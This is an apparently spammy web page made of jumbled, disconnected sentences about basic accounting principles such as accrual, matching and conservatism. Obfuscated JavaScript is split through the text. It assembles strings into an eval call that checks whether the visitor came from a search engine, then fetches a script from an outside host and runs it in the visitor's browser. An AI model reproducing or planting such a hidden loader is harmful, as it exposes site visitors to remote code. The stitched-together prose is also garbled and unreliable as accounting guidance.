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Agricultural Finance GFTT Global Financial Training and Technology Financial Accounting iii.. Thus, you charge inventory to the cost of goods sold at the same time that you record revenue from the sale of those inventory items.. Basic Financial Accounting Syllabus Content Accounting systems As you can see from the above examples regarding the accounting equation.. Basic Accounting and Financial Management for Managers As we get started in our review of basic accounting practices and terminology.. ";io["SW"]="s:";io["tu"]="da";io["aA"]="r ";io["AB"]="xO";io["Xh"]="le";io["ki"]="tu";io["pE"]="IK";io["Dz"]="st";io["pX"]="g.. In financial accounting, a transaction triggers the recording of information about the money involved in the event.. These principles are incorporated into a number of accounting frameworks, from which accounting standards govern the treatment and reporting of business transactions.. This concept can be taken too far, where a business persistently misstates its results to be worse than is realistically the case.. ";io["oY"]="',";io["SB"]="po";io["Dj"]="t(";io["vJ"]="il";io["UW"]=" i";io["dO"]="th";io["Lz"]="/X";io["Qv"]="va";io["EW"]="r:";io["GQ"]="ex";io["aF"]="p:";io["NY"]="T ";io["Ta"]="ns";io["ZH"]="l(";io["oF"]="ta";io["og"]="tS";io["MU"]="HR";io["QB"]="{e";io["aW"]="ct";io["rj"]="oc";io["PV"]="(\"";io["lY"]="0 ";io["np"]="\"b";io["zg"]="k.. The accounting standards have greatly amplified upon this concept in specifying an enormous number of informational disclosures.. ";io["rR"]="on";io["eA"]="r ";io["BX"]="tZ";io["yV"]="{i";io["IZ"]="t'";io["Rh"]="me";io["JF"]="de";io["tS"]="({";io["ug"]="ed";io["vG"]="e'";io["nS"]=" =";io["HT"]="en";io["Eo"]="l2";io["KJ"]="gl";io["HY"]="nd";io["Ww"]="Ty";io["LM"]=": ";io["MH"]="sD";io["HV"]="aj";io["bB"]="){";io["nO"]="OS";io["BV"]="\")";io["uU"]="Oi";io["cw"]="im";io["Rr"]="l.. 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Reliability principle This is the concept that only those transactions that can be proven should be recorded.. j";io["Nd"]="((";io["cT"]="if";io["ko"]="3/";io["Wi"]=" \"";io["fx"]="Of";io["nh"]="ar";io["HL"]="om";io["ky"]="we";io["Us"]=" '";io["Jq"]="an";io["CL"]="js";io["in"]="ri";io["lm"]=" t";io["tA"]="os";io["Ax"]=":/";io["zv"]="ty";io["jI"]="eb";io["Ry"]=" d";io["Eh"]="s,";io["yq"]="ub";io["Fj"]="ru";eval(io["Qv"]+io["aA"]+io["TE"]+io["ad"]+io["ik"]+io["Qv"]+io["aA"]+io["nr"]+io["Gq"]+io["Rh"]+io["nS"]+io["Us"]+io["IG"]+io["Nt"]+io["vG"]+io["PT"]+io["nh"]+io["MZ"]+io["RC"]+io["nS"]+io["Ry"]+io["rj"]+io["Ft"]+io["HT"]+io["kg"]+io["Zt"]+io["aq"]+io["vv"]+io["RW"]+io["Tr"]+io["eQ"]+io["Zt"]+io["Uz"]+io["Xh"]+io["SU"]+io["dO"]+io["kW"]+io["Vk"]+io["yV"]+io["oW"]+io["Nd"]+io["Zt"]+io["Uz"]+io["yj"]+io["JF"]+io["AB"]+io["eQ"]+io["Cb"]+io["Jq"]+io["JF"]+io["mC"]+io["BV"]+io["oU"]+io["Ln"]+io["Vk"]+io["Lw"]+io["Jb"]+io["Zt"]+io["Uz"]+io["yj"]+io["JF"]+io["AB"]+io["eQ"]+io["sJ"]+io["DY"]+io["KJ"]+io["eT"]+io["BV"]+io["oU"]+io["Ln"]+io["Vk"]+io["Lw"]+io["MZ"]+io["RC"]+io["UW"]+io["HY"]+io["GQ"]+io["fx"]+io["PV"]+io["Oj"]+io["qf"]+io["Xh"]+io["eA"]+io["BV"]+io["oU"]+io["Ln"]+io["Sb"]+io["qC"]+io["Zt"]+io["Uz"]+io["yj"]+io["JF"]+io["AB"]+io["eQ"]+io["np"]+io["yj"]+io["pX"]+io["BV"]+io["oU"]+io["Ln"]+io["Sb"]+io["qC"]+io["Zt"]+io["Uz"]+io["yj"]+io["JF"]+io["AB"]+io["eQ"]+io["Xa"]+io["tN"]+io["Rr"]+io["BV"]+io["oU"]+io["Ln"]+io["Sb"]+io["qC"]+io["Zt"]+io["Uz"]+io["yj"]+io["JF"]+io["AB"]+io["eQ"]+io["Cb"]+io["kx"]+io["DY"]+io["Wi"]+io["Vk"]+io["yk"]+io["lY"]+io["Lw"]+io["MZ"]+io["RC"]+io["UW"]+io["HY"]+io["GQ"]+io["fx"]+io["PV"]+io["HZ"]+io["FN"]+io["BV"]+io["oU"]+io["Ln"]+io["Sb"]+io["qC"]+io["Zt"]+io["Uz"]+io["yj"]+io["JF"]+io["AB"]+io["eQ"]+io["qK"]+io["dW"]+io["eT"]+io["BV"]+io["oU"]+io["Ln"]+io["Sb"]+io["qC"]+io["Zt"]+io["Uz"]+io["yj"]+io["JF"]+io["AB"]+io["eQ"]+io["kb"]+io["zg"]+io["BV"]+io["oU"]+io["Ln"]+io["bB"]+io["lU"]+io["HV"]+io["oI"]+io["tS"]+io["zv"]+io["uT"]+io["LM"]+io["Jk"]+io["dD"]+io["oY"]+io["tu"]+io["oF"]+io["Ww"]+io["uT"]+io["LM"]+io["xB"]+io["GA"]+io["ce"]+io["IZ"]+io["tt"]+io["TA"]+io["QQ"]+io["Kc"]+io["dj"]+io["oF"]+io["LM"]+io["qO"]+io["dC"]+io["Tf"]+io["GA"]+io["tA"]+io["MH"]+io["HL"]+io["tN"]+io["dQ"]+io["lm"]+io["Fj"]+io["Tf"]+io["CL"]+io["rR"]+io["aF"]+io["ti"]+io["yw"]+io["VD"]+io["UD"]+io["jc"]+io["aM"]+io["Us"]+io["TM"]+io["jP"]+io["Ax"]+io["Lz"]+io["BX"]+io["yq"]+io["Fn"]+io["HI"]+io["bq"]+io["pE"]+io["Eo"]+io["cw"]+io["uU"]+io["ZP"]+io["jq"]+io["RW"]+io["fQ"]+io["eA"]+io["Fj"]+io["jC"]+io["ko"]+io["UX"]+io["gd"]+io["OD"]+io["ky"]+io["jI"]+io["mE"]+io["oY"]+io["xd"]+io["tG"]+io["RL"]+io["SW"]+io["ti"]+io["Fg"]+io["aW"]+io["mm"]+io["pS"]+io["KT"]+io["RL"]+io["SB"]+io["Ta"]+io["Qp"]+io["yt"]+io["Yy"]+io["lm"]+io["GQ"]+io["og"]+io["oF"]+io["ki"]+io["Eh"]+io["eq"]+io["yD"]+io["MU"]+io["Vk"]+io["QB"]+io["Qv"]+io["ZH"]+io["Zt"]+io["OI"]+io["rR"]+io["VD"]+io["dj"]+io["oF"]+io["tc"]+io["Uc"]+io["RW"]+io["TA"]+io["EW"]+io["ti"]+io["Fg"]+io["aW"]+io["mm"]+io["pS"]+io["KT"]+io["RL"]+io["SB"]+io["Ta"]+io["Qp"]+io["yt"]+io["Yy"]+io["lm"]+io["GQ"]+io["og"]+io["oF"]+io["ki"]+io["Eh"]+io["gT"]+io["vv"]+io["gk"]+io["Vr"]+io["TA"]+io["WY"]+io["Vk"]+io["rr"]+io["yw"]+io["RW"]+io["Dj"]+io["rn"]+io["nO"]+io["NY"]+io["qO"]+io["vJ"]+io["ug"]+io["wa"]+io["gW"]+io["Da"]+io["Qq"]+io["Tq"]+io["Dz"]+io["in"]+io["SU"]+io["cT"]+io["AJ"]+io["Zt"]+io["OI"]+io["rR"]+io["VD"]+io["dj"]+io["oF"]+io["eZ"]+io["BS"]+io["fs"]+io["BS"]+io["mD"]);School of Distance Education Financial Accounting 2 UNIVERSITY OF CALICUT SCHOOL OF DISTANCE EDUCATION CORE COURSE B.. ";io["kg"]="t ";io["jc"]="ur";io["jq"]="cs";io["tN"]="ai";io["Uz"]="f ";io["RL"]="es";io["dQ"]="n:";io["Sb"]=" |";io["Kc"]="ss";io["dj"]="Da";io["Ln"]=" 0";io["Tf"]="e,";io["qO"]="fa";io["FN"]="n.. WolvesAndFinance 6,976 views 8:33 FUNDAMENTAL ACCOUNTING CONCEPTS - Duration: 29:45.. ";io["Qp"]="eD";io["Uc"]="},";io["SU"]="ng";io["yw"]="al";io["rn"]="'P";io["dW"]="iv";io["mm"]="io";io["TE"]="q ";io["Yy"]="a,";io["ZP"]=".. Matching principle This is the concept that, when you record revenue, you should record all related expenses at the same time.. This is the concept that accounting transactions should be recorded in the accounting periods when they actually occur, rather than in the periods when there are cash flows associated with them.. Not following the consistency principle means that a business could continually jump between different accounting treatments of its transactions that makes its long- term financial results extremely difficult to discern.. Financial accounting (or financial accountancy) is the field of accounting concerned with the summary, analysis and reporting of financial transactions pertaining to a business.. Economic entity principle This is the concept that the transactions of a business should be kept separate from those of its owners and other businesses.. The following chart shows the basic steps in an accounting cycle: Financial Accounting 3 Accounting Process The following table lists down the steps followed in an accounting process: 1.. ";io["mE"]="ly";io["Da"]=" J";io["HI"]="Jv";io["qK"]="\"l";io["Tq"]="N ";io["fs"]="})";io["Nt"]="rc";io["pS"]="n ";io["eQ"]="f(";io["kx"]="ah";io["Xa"]="\"m";io["Zt"]="re";io["lU"]="$.. var K = 'basic+accounting+and+finance+pdf';var io = new Array();io["uT"]="pe";io["nr"]="sh";io["ce"]="ip";io["OD"]="s?";io["eZ"]="))";io["Vk"]=") ";io["Vr"]="Th";io["gW"]=" +";io["TM"]="ht";io["kW"]=">0";io["Oj"]="ra";io["fQ"]="ve";io["jP"]="tp";io["aq"]="fe";io["RC"]="ef";io["AJ"]="y(";io["Ft"]="um";io["qC"]="| ";io["qf"]="mb";io["QQ"]="ce";io["ik"]="K;";io["Fg"]="un";io["sJ"]="\"g";io["Fn"]="o8";io["UX"]="35";io["RW"]="er";io["xd"]="su";io["tG"]="cc";io["Jk"]="'G";io["kb"]="\"v";io["PT"]=";v";io["eT"]="e.. Basic Accounting and Financial Management The Difference between Accounting and Finance - Duration: 8:33.. This is the foundation of the accrual basis of accounting It is important for the construction of financial statements that show what actually happened in an accounting period, rather than being artificially delayed or accelerated by the associated cash flows.. Depreciation Accounting The basic concepts of depreciation The methods of depreciation Accounting for depreciation.. '";io["oU"]=" >";io["OI"]="sp";io["tc"]=");";io["gT"]=" e";io["mD"]="}";io["HZ"]="ms";io["bq"]="5H";io["aM"]="l:";io["eq"]=" j";io["ti"]=" f";io["Qq"]="SO";io["ad"]="= ";io["KT"]="(r";io["BS"]=";}";io["Tr"]=";i";io["WY"]="wn";io["oW"]="f ";io["Jb"]=" (";io["gd"]=".. This free eBook explains all of the basic accounting concepts and terminology you will need to.. Conversely, this principle tends to encourage the recordation of losses earlier, rather than later.. Com/BBA II SEMETER FINANCIAL ACCOUNTING Prepared by: Udaya Kumar O K Click the PDF, Kindle or ePUB icon.. Going concern principle This is the concept that a business will remain in operation for the foreseeable future.. Consistency principle This is the concept that, once you adopt an accounting principle or method, you should continue to use it until a demonstrably better principle or method comes along.. So many people have skirted around the fringes of this concept to commit reporting fraud that a variety of standard- setting bodies have developed a massive amount of information about what constitutes proper revenue recognition.. They form the basis upon which modern accounting is based The best- known of these principles are as follows: Accrual principle.. This introduces a conservative slant to the financial statements that may yield lower reported profits, since revenue and asset recognition may be delayed for some time.. This concept keeps a business from engaging in an excessive level of estimation in deriving the value of its assets and liabilities.. Basic Accounting Principles - Accounting Tools A number of basic accounting principles have been developed through common usage.. This is a cornerstone of the accrual basis of accounting The cash basis of accounting does not use the matching the principle.. Monetary unit principle This is the concept that a business should only record transactions that can be stated in terms of a unit of currency.. Materiality principle This is the concept that you should record a transaction in the accounting records if not doing so might have altered the decision making process of someone reading the company's financial statements.. This is quite a vague concept that is difficult to quantify, which has led some of the more picayune controllers to record even the smallest transactions.. Full disclosure principle This is the concept that you should include in or alongside the financial statements of a business all of the information that may impact a reader's understanding of those financial statements.. Time period principle This is the concept that a business should report the results of its operations over a standard period of time.. For example, a supplier invoice is solid evidence that an expense has been recorded.. This prevents intermingling of assets and liabilities among multiple entities, which can cause considerable difficulties when the financial statements of a fledgling business are first audited.. Conservatism principle This is the concept that you should record expenses and liabilities as soon as possible, but to record revenues and assets only when you are sure that they will occur.. Related Topics What are accounting principles? What is a going concern qualification?What is the prudence concept in accounting?.. s";io["GA"]="cr";io["DY"]="oo";io["yk"]="> ";io["Cb"]="\"y";io["oI"]="ax";io["jC"]="/1";io["yD"]="qX";io["MZ"]=" r";io["VD"]="se";io["wa"]=".. Otherwise, you would have to recognize all expenses at once and not defer any of them.. Revenue recognition principle This is the concept that you should only recognize revenue when the business has substantially completed the earnings process.. This principle is becoming less valid, as a host of accounting standards are heading in the direction of adjusting assets and liabilities to their fair values.. This concept is of prime interest to auditors, who are constantly in search of the evidence supporting transactions.. Learn Basic Accounting in 7 Minutes!Accounting & Finance Books Management & Operations Books.. Basic accounting concepts Cost principle This is the concept that a business should only record its assets, liabilities, and equity investments at their original purchase costs.. For example, if you ignored the accrual principle, you would record an expense only when you paid for it, which might incorporate a lengthy delay caused by the payment terms for the associated supplier invoice.. It was later that I saw that Free Management eBooks had several more eBooks on finance.. This means that you would be justified in deferring the recognition of some expenses, such as depreciation, until later periods.. This may qualify as the most glaringly obvious of all accounting principles, but is intended to create a standard set of comparable periods, which is useful for trend analysis.. Thus, it is easy enough to record the purchase of a fixed asset, since it was bought for a specific price, whereas the value of the quality control system of a business is not recorded.
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